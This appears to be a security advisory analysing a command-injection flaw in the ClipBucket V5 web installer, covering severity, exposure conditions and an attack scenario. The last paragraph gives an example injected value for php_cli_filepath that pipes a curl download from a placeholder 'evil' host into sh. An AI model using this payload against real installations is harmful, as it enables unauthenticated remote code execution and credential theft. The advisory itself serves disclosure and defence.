ClipBucket V5 EUVD-2026-66195

Exploitation requires that the ClipBucket V5 web installer (the cb_install endpoint) be network-reachable and in an executable/active state - this is the AT:P attack requirement and the primary limiting factor, since production deployments that remove or block the installer after setup are not exposed. When the installer is reachable, no authentication (PR:N), no user interaction (UI:N), and only a single crafted POST request supplying a malicious php_cli_filepath value are needed to inject shell commands. The limiting factors are therefore installer availability and version (5.5.1 through 5.5.3-#153); there is no privilege or interaction barrier once the installer is accessible.

This is a genuine high-priority issue for exposed instances, not merely a high-CVSS-but-low-real-risk case. The CVSS 4.0 vector (AV:N/AC:L/AT:P/PR:N/UI:N, VC:H/VI:H/VA:H) describes network-reachable, unauthenticated, low-complexity exploitation yielding full confidentiality, integrity, and availability impact on the vulnerable system - scoring 9.2. The one meaningful mitigant is AT:P (attack requirements present): the web installer must actually be reachable and in an executable state. On a fully installed, hardened deployment the cb_install directory is typically removed or blocked, which sharply limits exposure; on freshly deployed, misconfigured, or containerized instances that leave the installer live, exploitation is straightforward and any operator running ClipBucket V5 should treat it as urgent. No EPSS score or CISA KEV status was provided, and no public exploit was identified at time of analysis, so there is no confirmed evidence of active or widespread exploitation - the risk is driven by the low barrier to exploit plus full-system impact rather than by observed in-the-wild activity.

An attacker locates an internet-exposed ClipBucket V5 instance whose installer is still reachable and sends a single crafted POST request setting php_cli_filepath to something like /usr/bin/php; curl http://evil/x | sh, causing the shell to execute the injected command as the web server user. From there they establish a foothold, read configuration/database credentials, and pivot. No authentication or user interaction is required, and the low attack complexity means the request can be scripted; no public exploit was identified at time of analysis.